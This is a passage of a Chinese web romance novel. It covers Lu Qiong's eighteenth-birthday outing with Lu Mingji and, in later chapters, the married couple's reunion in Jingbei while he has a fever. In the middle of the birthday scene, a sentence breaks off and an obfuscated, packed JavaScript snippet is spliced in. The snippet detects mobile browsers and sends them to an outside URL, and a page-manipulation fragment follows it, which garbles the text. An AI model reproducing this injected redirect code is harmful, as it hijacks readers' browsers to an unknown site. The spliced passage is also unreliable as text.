饭菜原料要确保新鲜完整,哪怕炒完之后看不出原样也不允许有残缺;衣柜里的衣服永远平整没有一丝褶皱,连线头都被处理干净。 高中毕业那年,他妈送他的 辆跑车作为毕业礼物,彭靖驰借过去开不小心蹭掉倒车镜处的一块漆,补上就好,看不出损坏过,可陆明霁就是不想再要,直接送给彭靖驰。 他所拥有的东西只要有一丁点瑕疵就会立刻更换。可能夸张,但这的确是陆明霁二十年来一成不变的高质量生活给予他挑三拣四的底气。 路琼将串在竹签上的食物用刚拆封的一 次性筷子撸进锅里:“那你命真好。” 陆明霁撩她一眼,她面容平静,没有多余情绪展现,可鉴于她总是喜欢说些乱七八糟的话,陆明霁就解读出几分阴阳怪气。于是他也阴阳回去:“也不好,好的话还会被人放两个小时鸽子最后被带过来吃这种地摊?” “你收了我的花不能再生我气了。”路琼朝暂存在他包里的玫瑰努努下巴:“我第一次买花送人。” “是你硬塞。”陆明霁可没同意翻篇,他最记仇:“要不是我说我没空后你哭了我才不会答应你出来。“ 路琼下菜的手一顿。 她哭了? 什么时候? 她自己怎么不知道? 默不作声在脑海里回忆一遍,找出原因,估计是她打的那个哈欠导致陆明霁误会。但她不能纠正,她一旦澄清就代表陆明霁自作多情,按照少爷的脾气,还不拍桌走人? "哦。”路琼忍笑:“那是不是以后只要我哭了你就会答应我所有事情?"“你以为你是谁,想的还挺美。”陆明霁扔掉擦完桌子的纸巾,靠向沙发背,摸出手机刷着玩,黑发垂下去,遮住他眼睛。 托盘里一半的肉菜都下进锅里,先煮着。调整电磁炉功率的按钮在桌子侧边,路琼斜着身体低头调大功率,视野边缘是陆明霁桌底的长腿,她坐正后,喊他:“陆明霁。” 他名字的三个字她都咬得很轻,最后一个“霁”尾音上扬。 陆明霁抬头,眼睛还没有落到她脸上,握着手机的手一紧,松弛的姿态变得僵硬。 路琼在桌下勾着他一条腿,夹在自己两条腿中间,晃来晃去:“我第一次和男生约会,也是第一次追人。” 两人都穿着长裤,没有任何直白的肌肤触碰,甚至都还没有感受到路琼的体温,但被她夹住的那条腿就是不再受控,他抽都抽不出来。喉结不动声色一滚:"腿拿开。" 路琼笑盈盈摇头:"不要。" 陆明霁保持冷静:“你要干什么?” “我不干什么,我就是想说,要是我有什么地方做的不好你及时指出来,我改。”“你现在就做的不好。” "那你多包容一下。”路琼还在左摇右晃着他的腿:“这一点我不想改。" 陆明霁就知道她会耍无赖,不再废话,空闲的那只手伸到桌底,按住路琼一只膝盖,挣脱她的禁锢,双腿交叠躲到一边,以防她再偷袭。继续淡定地玩手机。 路琼托着腮瞅他,视线从他头发游移到他嘴唇,犹如实质。片刻后,她挑眉:“陆明霁。” 陆明霁不理她,她说不出什么好话来。路琼依然不怕死的撩拨:“你耳朵好红。” 陆明霁漠然的目光笔直冲向她:“再多说一个字,你就自己吃饭。”路琼这才适可而止。 蔬菜串煮沸时间短,下锅三四分钟就能吃,路琼忙活一天,体力早就消耗殆尽,吃饭时难得老实,没再讲闲话招惹陆明霁。她吃饭速度快,吃相倒不赖,相比之下,陆明霁就慢条斯理得多。 说实话,陆明霁是看不上这种地摊小吃的,他嫌卫生不达标,更没有吃惯山珍海味就要换换口味去吃清粥小菜的爱好,或许是等路琼大久也饿得不行,或许是路琼大快朵顾的样子带动他胃口大开,以往 在店外多看一眼招牌都嫌弃的串串他竟吃不少。 陆明霁常接触的女性就他奶奶、他妈、谷蕴柠。 这三人一个比一个注重身材管理,奶奶上了年纪岁数大了才松懈下来,想吃什么吃什么;他妈不吃主食,蔬菜也要分好种类定量进食,调味还很清淡:谷蕴柠最离谱,有时候 天只喝杯咖啡就能续 命。 路琼作为他接触的第四位异性,最为特别,最能吃。陆明霁感到稀奇,偷偷观察着她,不知不觉就给自己吃撑。 吃完在前台结账,陆明霁扫码。虽说是路琼请客约他,但是在陆明霁从小接收到的教育理念里,和女生一起吃饭男生结账是天经地义的事情,工作后的商务宴请另当别论。 路琼来不及拦他,走出串串店,她把钱转给陆明霁:“说好我请客的。” 陆明霁拒收:“我没有让女生付款的习惯。” 路琼探听消息:“你之前和其他女生吃饭也一样吗?” 陆明霁嘴快:“我没和别的女生单独吃过饭。” “……哦。” “………” 店里空调暖气足,路琼又吃的辣锅,热出一身汗,冷风一吹还挺舒服,她愉悦地翘着嘴角。 不知道第几次瞄到她碍眼的表情,陆明霁忍无可忍:“你笑什么?” 路琼这次没有再火上浇油,装起乖:“没笑什么。” 陆明霁狠瞪她一眼,加快脚步甩开她。 路琼追上去,抓他手,明知故问:“又闹什么脾气?” 陆明霁扯掉她,手揣兜里:“你说什么梦话。” 路琼改变策略,挽他胳膊,在他有所动作之前放话:“你再甩我我就亲你。” 路琼给陆明霁的印象能用胆大妄为一词来形容,没有什么是她不敢干的,陆明霁还真不敢赌她这番威胁的真假。不情不愿地由她拽着。 路琼有分寸,她就 是喜欢逗陆明霁,看他炸毛跳脚又对她无可奈何的样子。挽了他一小会儿,走到街口她就松开他。 地铁还没停运,可少爷不会屈尊降贵坐地铁,回校只得打车。反正是他花钱,路琼乐得享受。 京大没有门禁,但宿舍楼有,十一点钟准时落锁不允许进出,这个点校外那条街都是往回赶的人,司机不好把车开进去,就停在最近的道口。 路琼和陆明霁要步行一段。 金黄落叶零零散散铺在地面,脚踩上去发出清脆声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781382|153235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响。 走到一半,路琼问出与昨晚同一时刻同样的问题:“明天你有安排吗?” 陆明霁直截了当:“没空,别想,我不会再答应你。” 路琼没想着再约他,明天她上午上班,下午要去敬老院参加一个爱心公益活动。她把行程报备给陆明霁。 后者满不在乎,自然垂在腿边的手毫无章法地敲打着手机:“跟我有什么关系。” 路琼不深究他是口是心非还是心口如一,她只表达她的想法和感受:“总之我今天很开心,谢谢你陪我过生日。” "生日?"陆明霁算算年龄:"十八岁?" 路琼嗯一声:"十八岁。" “你要我陪你过生日你还迟到那么久?”陆明舞耿取于怀,还有种被轻视的愤怒,生日邀请至少要提前一天发出,以便被邀请者规划行程,临时告知是种非常不礼貌的行为:“你请其他人也这么不走 心?” 主动约他迟到两个小时、十八岁生日就请他吃串串香。陆明霁不是不接受区别对待,但他必须是被偏向的一方。 路琼被他劈头盖脸地责问弄得稀里糊涂:“我没请其他人,我就告诉了你一个。” 陆明霁当路琼在哄骗他:“你这张嘴能值点钱吗?” 他又不是没有分辨能力的小屁孩,讲两句好话他就会晕头转向? “我没骗你,我没怎么过过生日。”路琼坦露无伤大雅的实情:“其实我不确定今天是不是我生日,我妈不记得我具体的出生日期,今天是我外婆当初给我上户口的日子。” 她妈当年因为一个男人离家出走,和小老大太决裂,两年后带着两个月大的她狼狈回家,外婆问她妈她什么时候出生的,她妈浑浑温图的连月份都答不出,小老太太便自作主张给她定下一个新的出生日期,每年到这一天,小老太太给她下一碗面再煮两个鸡蛋就算庆生。 真相超出陆明霁的认知,他才点燃的怒火还没扩大就兜头浇下一盆冷水,哑口无言。 自他有记忆以来,他妈的每一个生日他爸都会大张旗鼓为其庆祝,他每年的生日排场略逊色于他妈,那也是呼朋引伴,收到的礼物堆成山,拆都拆不完。 去年他成人礼,更是盛况空前。 包机带着彭靖驰他们去大溪地嗨了一整周,他爸给他的那张副卡险些刷爆,吓得他爸以为他染上什么不良嗜好,打电话一顿逼问。 所以在他看来,庆生是每一年当中的头等大事,所有佳节加起来都没有过生日重要。其他节日是大家一起快乐,而生日独属于自己,意义非同凡响。 像路琼这样随便约个人吃顿饭就算庆生,还能庆得开心,陆明霁不能理解。 兜里手机连续振动,路琼解锁察看,是辅导员的消息,明天的公益活动临时通知更换地点,活动内容也有所调整,顾不得闹脾气的陆明霁,先处理起正事。 陆明霁也沉默着,心绪翻涌。 快要到校门口,路琼还没解决完事情,陆明霁拽住她挎包一角,拦停她。路琼不知就里:“怎么了?” 陆明霁指着便利店角落一处座位:“去那等我。”说完,他朝便利店走。 路琼目送他进去,猜测他应该是记起有东西要买,用不着多长时间,就站在原地等他。 几分钟后,陆明霁提着东西出来,见路琼一动不动傻站在那里埋头捧着手机,旁边有人打闹着撞到她她也不知道躲。走过去把她拉到背风处,嘴巴不忘奚落她:“我看你不光下肢没发育好,小脑发育也不健全,别人撞你你还跟他道歉。” 【好的收到「敬礼jpg.」】给完辅导员答复,路琼收起手机:“服务员当久了,条件反射。” 到紧挨着便利店侧门的那一张桌子处停下,陆明霁一抬手,桌上就多出一个白色奶油蛋糕,四寸大,最普通的那种甜品款式,只有顶面七颗鲜红欲滴的草莓还算亮眼。 陆明霁解开透明包装盒,蛋糕不由分说塞给路琼:“我没见过比你活的还粗糙不走心的人,便利店最后一个,没得挑。” 哒一声,他不知从哪变出一个打火机,点着:“蜡烛也没有,你就这么凑合下吧。” 他一手握打火机,一手呈半蜷状护着火苗不被风吹灭:“许个愿吧,过生日一定要吃蛋糕许愿的。” 橙红色的火焰在风中摇曳,照亮在他们中间,跳跃在她和他眼底,路琼捧着巴掌大的蛋糕,望着陆明霁被火苗映射成暖色调的脸,他还是那副老样子,骄横跋扈,目中无人。 仿佛所做这一切不过是突发善心的施舍。 陆明霁也是这么想的,他不过是时可怜路琼,并不认为自己的心 软是对路琼生出别样情愫,相识时间太短,了解不够详细等等客观原因使然,彼时的路琼还不足以令他心动。 例如他爷爷奶奶相濡以沫一辈子的前提是在创业困难时同舟共济,他爸妈情比金坚的基础是青梅竹马几十年。 而他和路琼之间,还什么都没有。直到很久后陆明霁恍然大悟,有的人一出现,所有既定的规则便不再是规则,都可以为她而消除。 “陆明霁。”路琼第一次正儿八经地叫他:“你看我。” 陆明霁稳住阵脚,掀起眼皮,丑话说在前头:“许愿只是过生日必备流程,我没说要帮你实现,也没义务。” 路琼不管他的劝告,像是要把他此刻模样刻进心里去那般深看他:“我希望以后每一年生日,陆明霁都能陪我一起过。” 40-50 第41章 我想你 晚上聚餐地点定在一家日料店。 他们人多,要的两个包厢,包厢中间的隔断窗打开就相当于是一间,聊天不受任何影响。 路琼没有去观察追究中午茶水间那几个人是谁,倒是方歆甜,虎视眈眈地扫描过每一个人,路琼拿出上司的威严压她,她才老实吃饭。 这家日料店的青梅酒是一大特色,酒精度数偏高,但是入口清甜丝滑,轻易就叫人忽略后劲。 路琼一杯接一杯,喝空三盅。 欢迎会上还不显,回到家后洗完澡,酒劲上来,人有点发晕。 她拿着手机趴到床上,捞过陆明霁的枕头抱在怀里,向陆明霁发出视频邀请。 白日里她说今晚要聚餐,会晚些回家,视频也会相应晚一些。 陆明霁很高冷的一个句号给她。 视频响两声就接通,画面一晃,陆明霁出现在屏幕里。 发梢微湿,鼻尖有一滴水珠,唇色也深。 路琼一眼看出:“你刚洗完澡吗?” 她在他嘴唇上定两眼,很想亲他。 拉高他枕头垫着下巴,他枕头上有他身上的橘子香,被子里也有,路琼扯住被角把自己卷在里面。 “嗯。”陆明霁问句废话:“到家了?” 路琼很喜欢他说家这个字:“到了,我也刚洗完澡。” 说着,她支起肩膀,手机拉远一些,让镜头摄入画面更多些。 路琼穿着一件黑色衬衫,扣子从第三颗才开始系,领口歪斜露出半边光滑肩膀,手臂紧贴在身体两侧,挤压出一条深线,半抔雪白半遮半掩。 她吹干头发后就用发圈绑起来,松松散散地拢着,丢下一缕从后颈顺延至她胸前,尾端恰到好处没入那条线里。 陆明霁没在她肩膀看到肩带,她是真空穿着他的衬衫。 这个认知令他身体先于大脑躁动起来,他手快地切换成语音模式。 人消失,路琼也是喝酒喝傻,居然以为陆明霁是在跟她躲猫猫左右摇晃着手机试图找出他。 做完这一系列冒傻气的行为,路琼都被自己逗笑:“陆明霁?” 她语气里满满的笑意钻入他耳中,她叫他名字时明字咬得带点鼻音。 像是携带着电流,从耳蜗蔓延至全身。 陆明霁指尖一蜷,扣紧手机,咽嗓:“嗯。” 路琼想看他:“为什么换成语音?” 陆明霁扯谎:“信号不好。” “你感冒了?”路琼听着他嗓子有点哑。 “……有点。” “酒店里应该有药吧,你吃两粒。” “知道了。” “你睡觉不要开空调,早晚温差大别乱脱衣服。”路琼有关注着京北的天气预报,跟沪市不相上下,有两天最高温度比沪市还高两度。 陆明霁理亏,路琼每说一句他耳朵就热一分,说话容易暴露更多,他就单字回:“嗯。” 路琼全当他嗓子不舒服:“很难受吗?” 陆明霁轻咳两声,喉咙里那股黏腻劲儿清除少许:“还行。” 路琼听着他咳嗽,眉心拧紧:“那你快去吃药睡觉,我不跟你打了。” 陆明霁说好。 电话挂断,陆明霁把手机扔到沙发上,手机惯性弹跳两下掉到地上,他没管。 罚站似的站在沙发边盯着手机滞留片刻,随后冷着一张脸红着一双耳朵再次走进浴室。 楼下钟洋陪小女友打完一局游戏,微信弹窗弹出,他让小女友稍等一会儿,切到微信界面。 消息列表里,备注为“路琼姐”的联系人赫然显示在上方。 字数还挺多,一小段:【钟助理你好,陆明霁感冒了,我给他定了份雪梨汤送到你们酒店前台了,能麻烦你下去取一下吗?】 钟洋满头问号。 老大感冒了? 他这个全天二十四小时侯在他旁边的助理怎么不知道? 下午和技术部开视频会他还功力不减把一众人骂得狗血淋头,一转眼就感冒了? 被技术部气的? 他来不及细想,跳下床穿上拖鞋,边回路琼【好的】边往外走。 期间还不忘跟小女友贼兮兮八卦:“我们老大还真是两面三刀,劈头盖脸骂完我们跑去跟他老婆撒娇卖惨,感个冒还非要他老婆订外卖,不知道自己的手是用来干嘛的。” 小女友一副过来人的口吻:“你还好意思说别人,你现在不也这样?上次手被纸划出个芝麻大小的——” 钟洋喊停:“好了不许说了,我要出门跑腿了。” 陆明霁在京北这边也有房产,没住,带着助理来出差还是住酒店更便利,少爷从不将就,一个人住酒店也是顶层总统套。 钟洋这位助理待遇稍差一点,住他楼下的高级套间。 去前台拿到爱心牌雪梨汤,钟洋马不停蹄送到顶层。 在门外敲半天门,门板都没有要打开的迹象。 钟洋不详预感腾升,怕老大病重昏倒在房间里,他掏出备用房卡刷进去。 一开门就扯着嗓子喊:“老大?” 绕着客厅、餐厅都找一圈,最后听到最大那间卧室里有水声。 钟洋不敢懈怠,敲敲浴室门:“老大?” 浴室里水声停下,陆明霁不耐烦的责问砸过来:“你来干什么?” 听到活人说话,钟洋高高悬起的心落下:“路琼姐给我发消息说你感冒了,我来看看你,还有她给你定了雪梨汤我拿上来了。” 陆明霁简言命令:“放下,出去。” 钟洋不能这么痛快就走:“老大你没事吧,生病就别洗澡了!” 他话音落,磨砂玻璃里一条白色浴巾砸过来。 “滚出去。” 钟洋砸砸嘴,此刻他才可以功成身退。 “雪梨汤我给你放客厅了!” 出陆明霁套房,钟洋幸灾乐祸在没有两位老板的小群里艾特技术部几个人:【你们这几天在最后珍惜一下自己的耳朵吧,把老大给气病有得是骂挨了。】 * 老话说祸从口出,从古至今说话都讲究个避谶。 陆明霁以身作饵,来验证这些名言警句能流传至今一定有其道理所在。 只是不想被路琼发现端倪,顺水推舟承认她的猜测,冲过一个冷水澡后,陆明霁第二天还真就成功发烧。 他出生时早产,小时后体弱多病,家里精心养着锻炼着,体质渐渐转好,长大后很少生病,连个感冒一年都不准有一次。 上次他生病都不记得是猴年马月,这次一发烧,兵败如山倒一样。 钟洋让他好好休息一天,他不,跟后面有鬼差催命似的追赶着工作进度。 钟洋能理解,才新婚就小别,换他他也不乐意。 但身体是革.命的本钱,总不能因小失大。 他劝不住陆明霁,就搬救兵,偷摸着给路琼传递消息,让她管管陆明霁。 路琼对陆明霁还在生病这事毫不知情,这两天视频她问陆明霁感冒好没好,他都说好了。 结果不仅没好还更加严重。 不知道他在犟什么。 正好赶上周末,搬家一应事宜全都搞定,路琼在沪市也是闲着,订好周五晚上七点半飞京北的航班,换洗衣物前一天晚上都装好,六点下班从尚嘉去机场。 两个多小时的航程,落地京北将近十点。 路琼知道陆明霁下榻酒店的地址,出机场打上车直奔目的地。 钟洋怕陆明霁怪他自作主张把路琼请过来,没敢事前告诉陆明霁,他跟酒店前台联系过,备用房卡也留在那儿,路琼到酒店后不用瞎等,上楼去房间就行。 今晚陆明霁有个饭局,推不掉,不是和医院,是和琅域另一个合作方。 前两天恰巧在一家餐厅里碰到,三两句聊了个新项目,约好今天这场饭局细聊。 桌上推杯换盏,陆明霁发着烧滴酒没沾。 但满屋烟酒味还有人讲话的声音烦得他脑袋嗡嗡疼。 捱到饭局结束,快十一点钟。 钟洋开车带陆明霁回酒店。 钟洋瞥一眼后视镜,嘴叭叭地劝说着:“老大,你真的最好休息一天,我懂你归心似箭的心情,但路琼姐在那儿又不会跑,你不用那么着急。” 陆明霁阖着眼坐在车后排,抬腿踢一脚驾驶座:“闭嘴,吵死。” 钟洋不敢在这时候造次,乖巧当个哑巴。 到酒店后,钟洋护送着陆明霁到顶层,没忍住,笑得特鸡贼:“老大,祝你有个愉快美好的周末!” 一想到他给老大准备出的这份惊喜,钟洋放佛看到双倍奖金在向他招手。 陆明霁当他说疯话,边刷房卡边撂一句:“你女朋友喜欢你这种猥琐类型的?” 钟洋咧到耳后根的笑容一凝。 陆明霁开门进屋,将悲愤欲绝的钟洋关在外面。 路琼也才到酒店不久,整理好行李,冲完澡出来听到门口动静,不确定是不是只有陆明霁,她套上针织长袍系好腰带出去。 陆明霁脱掉外套,手一扬扔到沙发背上搭着,从冰箱里拿出一瓶冰水喝,降温。 一道身影猝然闯进视野里,吞咽下最后一口水,喉结滚动。 “你怎么来了?” 他眼睛锈红,脸颊也有高温烧出来的不正常红晕。 路琼拿走那瓶冰水,掌心抚上他脸,试他体温:“我还有顺风耳,听到你说想我了,所以过来找你。” 陆明霁想起钟洋那句祝愿,的确愉快,的确美好。 他胸前里心脏跳动又快又重,跳得耳膜都疼,他偏过头,嘴还硬的要死:“我没想你。” 可能是生着病,嗓子哑,人显得可怜,坚硬扎人的盔甲有所松懈。 总之这句话底气不怎么足,细听还有那么点嘟嘟囔囔的委屈。 路琼再靠近他一点,到他怀里,抱住他,嘴唇贴着他下巴:“那我想你了,行吗?” 第42章 转变 她的唇贴着他,发间馨香融合进他呼吸里。 她就这么抱着他,好像有治愈能力。 陆明霁头疼得到缓解,情不自禁向解药靠拢,一点一点低下头,蹭蹭她头发。 路琼发觉到他的小动作,没戳破没逗他,她心软成一汪水,环着他腰的手松开一只,另一只改成牵他,十指相扣。 回到卧室,路琼想让陆明霁躺床上,陆明霁不躺,他要洗澡。 饭局上的烟酒味沾在身上挥之不去,臭烘烘的,他嫌恶心,要不是刚才路琼出现太突然,他脑子有点卡顿,他绝不会让她抱他。 陆明霁固执起来就是头倔驴,路琼无可奈何,他去洗手拿睡衣时,路琼就先将热水打开,凉水放干净,热水流出,袅袅热气弥散。 陆明霁进浴室后朝门口睇个眼神,示意路琼出去。 路琼还有俩问题:“今天吃退烧药了吗?” 陆明霁早上起来退了烧,已经没什么事,许是在外奔波一天,临到饭局时又烧起来。 又问:“晚上吃饭了吗?” 陆明霁烧得嘴唇发干,他舔一下:“没。” 他没什么胃口,整个饭局下来他就象征性动过两三次筷子,热水倒是喝完两杯。 不舒服不赶紧回来休息,非要硬挺。 路琼不悦,但没舍得说陆明霁,就点点头,带上浴室门出去。 酒店餐厅有二十四小时送餐服务,路琼坐到床尾处的沙发上,拿起茶几上的菜单翻看,然后照着陆明霁口味点些粥菜。 干等陆明霁洗完澡有些无聊,路琼想刷会儿手机,下意识摸口袋,扑个空,反应过来这件针织外套没有口袋,没印象把手机放在哪里,她去找陆明霁。 敲两下浴室门,她推开个门缝,探头进去:“陆明霁?” 浴室干湿分离,一层水雾蒙在淋浴间玻璃上,什么都看不见。 陆明霁意识到这点后耳朵已经率先发热,他关掉淋浴,稳着声线:“什么事?” 空气里飘散着潮湿分子,路琼被搔弄得鼻尖痒:“我手机找不到了,借你手机打个电话。” 陆明霁告诉她密码:“57565。” 和家里门锁一样的密码。 绝对不止是顺眼那么简单。 陆明霁手机就放在床头柜,路琼拿起来,解锁。 找到备注着自己全名的号码拨出去,客厅里响起铃声,她边打着边往客厅找。 在客厅沙发抱枕底下找到她乱放的手机。 挂断。 路琼不喜欢陆明霁给她的备注,太生疏官方,她要与众不同。 点击编辑,手指悬在删除键上方就要摁下,顶部弹窗弹出。 陆明霁没有设置横幅弹窗不显示消息内容,接连两条,备注和内容路琼都看得一清二楚。 齐盛卿:【谢了。】 齐盛卿:【等你从京北出差回来请你吃饭。】 就这两条消息,路琼能猜出陆明霁该是帮了齐盛卿什么忙。 作为答谢,请客吃饭是正常人情往来。 齐盛卿知道陆明霁来京北出差也可能是在帮忙时提过一嘴。 路琼想到那晚在私房菜馆,陆明霁和齐盛卿一同离开的背影。 如果她只是个与陆明霁毫无关系的旁观者,会由衷夸赞一句般配。 可她不是。 葛晚棠说过,陆家和齐家有意联姻,虽然最后没成,但是陆明霁和齐盛卿还有工作上的合作,能合作到一起去,且不止一次,就证实两人多少是互相欣赏的。 路琼不是介意齐盛卿,也不是吃她醋,她知道这些都是出自工作需要的接触,她只是顺着这个方向在想,如果葛晚棠没有给她铺好台阶,如果她没有在今年回国,会是什么样子。 陆明霁会不会就和别人恋爱、结婚。 会不会时间再长一点,就不再记得她,爱恨嗔怨都成为过眼云烟。 还有, 这六年里他有没有对别人动过心。 路琼不是会自寻烦恼的人,已经有结果的事情再去推论另一种可能性,她从不会做这种没意义的事情。 可分手后这六年时间,是他们恋爱时长的双倍,就像是一道天堑横亘在她和陆明霁之间。 即便她现在站在陆明霁身边,还是不可避免产生一种后怕的心理。 门铃响,酒店送餐过来。 路琼深呼吸一口气,将两人的手机叠放在一起搁在茶几上去开门。 她推着餐车折返时陆明霁也洗完澡出来。 他脑袋上盖着条毛巾在擦。 “怎么没吹头发。” 路琼把山药粥和一份荷塘小炒、一份炒口蘑摆到餐桌上,她没多点,这么晚吃太多不好。 陆明霁耍脾气:“懒得吹。” 路琼就上钩,半拥着他回卧室。把他按在床边坐好,再去浴室找来吹风机给他吹头发。 陆明霁双腿分开,路琼就自然地站在他腿间,拨弄着他头发。 针织外套的腰带没系太紧,路琼这么动来动去早就变松垮,毛绒绒的针织外套时重时轻地拂过他脸颊、鼻尖。 陆明霁垂眸睨着耷拉在他手边的腰带,抿抿唇,稍一抬手,捏住腰带一角,紧接着路琼手臂一动,腰带扯开。 针织外套也向两边散开。 被裹藏起来的白姜花香迎面袭来。 陆明霁上半身不着痕迹往前倾。 路琼吹到他后脑勺的头发,一条胳膊圈着他,人也挨近陆明霁。 一侧柔软碰到陆明霁额头,路琼一心扑在吹头发的工作里,没在意。 陆明霁头发短,不过一两分钟就吹干。 啪嗒—— 路琼关掉吹风机:“好了。” 陆明霁立刻松开揪着她腰带的手。 用冷淡掩饰刚才的偷鸡摸狗,他站起来朝餐厅走。 路琼放好吹风机再出去,陆明霁已经坐在餐桌边喝起了粥。 在他旁边那张椅子坐下,注意到他脸红更甚,上手去摸。 “怎么这么热,是不是体温又升了?” 路琼作势又要起来,去拿耳温枪。 陆明霁攥住她手腕拦下她,他脸为什么热他自己心里清楚:“我没事,你吃点东西吧。” 沪市飞京北要两个多小时,今天周五她还要上班,她折腾过来肯定没吃晚饭。 路琼这才看到桌上还有一碗盛好的粥,反握住陆明霁的手放在自己腿上,陪他一起吃饭。 她外套腰带没再系,这么一坐下,衣摆往两边散开,陆明霁手背就毫无阻隔地贴着她大腿。 注意力被拽走多一半,剩下半碗粥陆明霁喝得心不在焉。 吃完饭,路琼又喂陆明霁吃一粒退烧药,就关上客厅灯带陆明霁回卧室睡觉。 领完证将近一周,再次同床共枕。 一躺到床上,眩晕感铺天盖地袭上他,陆明霁屈指按着眉心。 下一秒,一双手抚上他。 陆明霁撩开眼。 路琼靠坐在床头,揉按着他太阳穴。 视线撞上后,路琼低下头,在他唇上碰碰:“睡吧,我在呢。” 无数次午夜梦回,都希望她在身边。 可一睁开眼,留给他的只有空荡和孤寂。 六年里他最害怕生病,身体一旦脆弱,控制力就直线下降。 锁在角落里的那点想念啃咬着他,那是他最恨路琼的时候。 而如今,她给他一句轻飘飘的“我在呢”。 陆明霁扣住她后颈,压下她的同时支起手肘迎上去。 唇瓣再次相贴,路琼齿关没闭紧,陆明霁舌尖一挑就进入,缠绕、吮.舔。 半坐的姿势不舒服,路琼下滑进被子里,与陆明霁齐平,她半趴在陆明霁身上,长发垂落在他锁骨、肩膀。 舌尖一疼,路琼闷哼,是陆明霁在故意咬她,她没挣扎没后退,任由他发泄。 卧室里灯光全关,窗帘严丝合缝,满是黑暗里是加重的喘.息声、接吻的啵.渍声,还有两颗频率趋渐一致的心脏跳动声。 尝到血腥味道,陆明霁终于心软放过路琼,眼角泪珠溢出,拖拽出两道水痕。 吻变得温柔又绵长。 六年里的怨恨、委屈和不甘都在这个吻中消融大半。 * 第二天醒来,米棕色窗帘被大好阳光照成浅白。 高烧过的身体还泛着些疲乏,陆明霁想活动一下好像僵化掉的四肢,一动,被子里的右手就被人捏了下。 后知后觉路琼在他身边,他转头。 还是蜷缩成虾米样子的睡姿,还是两只手都握着他。 她没醒。 大概是他那一动吵到她,她潜意识抓他。 陆明霁摸过床头柜的手机,八点一刻。 他调低亮度,给钟洋发消息让他全权负责今天的工作,没有塌天大事别来烦他。 震动也关掉,彻底静音。 陆明霁翻个身,面朝路琼,脖颈弯着,与她额头相抵,另一只手在被子里包住路琼的手背。 从未有过的踏实,他阖上眼继续睡。 再次睡醒,是下午。 意识清醒,眼还没睁开,他先握了下手。 什么都没攥住。 路琼在客厅刚挂掉葛晚棠电话,卧室门被大力拉开,陆明霁慌张又急促地冲出来,看到坐在沙发上的她,顿住。 路琼放下踩在沙发上的脚,站起来:“怎么了?” 陆明霁沉默不语,定定瞧她一会儿,面色如常转身回卧室。 路琼穿上拖鞋跟过去:“还难受吗?” 陆明霁进浴室,挤上牙膏刷牙,借机不说话。 路琼掌心覆上他额头,她睡醒就给他测过一次体温,到现在有两个小时,没再烧:“想吃什么,我点餐。” 陆明霁不疾不徐刷着牙。 洗手池斜上方是面窗户,拉着百叶窗,隔绝外界,他扒开一片百叶条,阳光争先恐后涌入。 他弯腰吐掉泡沫,漱完口:“出去吃吧。” 路琼不大愿意去外面,怕陆明霁病情又反复,但陆明霁说酒店那种封闭空间更不利于休养,他是病号他最大,路琼没有话语权。 他们两个也是能睡,昨天也没有很晚,今天都睡到下午才醒,路琼比陆明霁早醒两个小时,陆明霁四点多醒,收拾一番再出门是五点钟。 夕阳将落,天边一抹红霞。 车钟洋在开,酒店就在市中心,四周商场林立,步行就能到达。 两人都是黑色大衣,于是路琼又顺理成章捆绑成情侣装。 她右手扣着陆明霁左手,一块揣进他大衣口袋里。 昨晚那个吻谁都没有提及,但对于这份悄然的转变彼此都心照不宣。 到国贸广场,有些记忆理所当然就浮现在脑海。 路琼右手也攀上陆明霁臂弯:“你还记得咱们两个第一次吃饭的那家串串店吗?” “不记得。” “不知道那家店还在不在。” 陆明霁无语:“你是走了六年又不是六十年,人家为什么不在。” 路琼眨眨眼,笑得意味深长:“哦。” 陆明霁被她套到话,不开心地闭起嘴巴。 路琼惋惜叹气:“要是我们两个都没事,就能去吃串串了。” 陆明霁不解,他可以吃清汤锅,至于路琼:“你怎么了?” 路琼伸出一截舌尖:“我舌头破了啊,不能吃辣锅。” “……” 陆明霁耳根发热,脸偏向另一边。 他红彤彤的耳朵近在眼前,路琼后悔答应陆明霁出门的提议,要是在酒店,她想怎么亲他都行。 现在大庭广众之下,陆明霁脸皮薄,她不好调.戏。 压下那些不可言说的心思,路琼做好决定,去吃粤菜。 国贸商场里面就有一家,人均消费不低,但京北不缺有钱人,托不是正经饭点的福,没用排队。 只是这家店上菜较慢,算上吃饭,两人在那家店里消磨掉快三个小时。 吃完饭出来,天色已然全黑。 回酒店还是再逛逛,陆明霁正要问路琼,掌心一空,路琼松开他,朝对面一个摆摊卖花的老奶奶那里走去。 陆明霁就在原地等着,看她和摊主交涉,看她拿走一支红玫瑰,再看她走回来。 心跳逼近峰值。 灯火阑珊的街头,还是京北旧地。 跨越六年,路琼又一次送陆明霁一支玫瑰:“陆明霁,我再追你一次好不好?” 第43章 我只要她 路琼是周日下午回沪市的机票,两人中午去吃的那家串串香。 要的清汤锅。 因为路琼舌头被陆明霁咬破的地方还没愈合好,但她又实在想吃。 陆明霁说下周再来,她等不得,工作之后时间不自由,这个周末能有空是她才上班没多久,万一下个周末有其他事情绊住脚,而且为一顿串串火锅专门跑一趟京北不值当。 吃完午饭,陆明霁送路琼去机场。 卡点到的机场,没空闲再依依不舍,路琼在安检口外浅吻陆明霁一口就进去,等她过完安检,陆明霁也带着来机场时路琼在花店给他买的第二支玫瑰回酒店。 周二上午,所有事情忙完,陆明霁让钟洋订最早的航班回沪市。 出差一周,钟洋也想小女友,心早就飞回沪市,幸好老大也着急,不然他还得跟老大据理力争。 司机送他们去机场,钟洋坐在副驾驶。 没有事情要汇报,他还是频繁回头。 前面那颗脑袋数不清第多少次又转向自己,陆明霁一副“有屁快放”的神情递过去。 钟洋嘿嘿笑,朝后排座椅努努下巴:“老大,这花都蔫了还用带回去?” 陆明霁坐在后排,手边就是两支叠在一起的红玫瑰,他捻着玫瑰花根茎:“跟你有关系?” 钟洋有经验要教育他:“老大,你怎么能让路琼姐送你花呢,你身为男人应该送路琼姐花啊。” 这二百五。 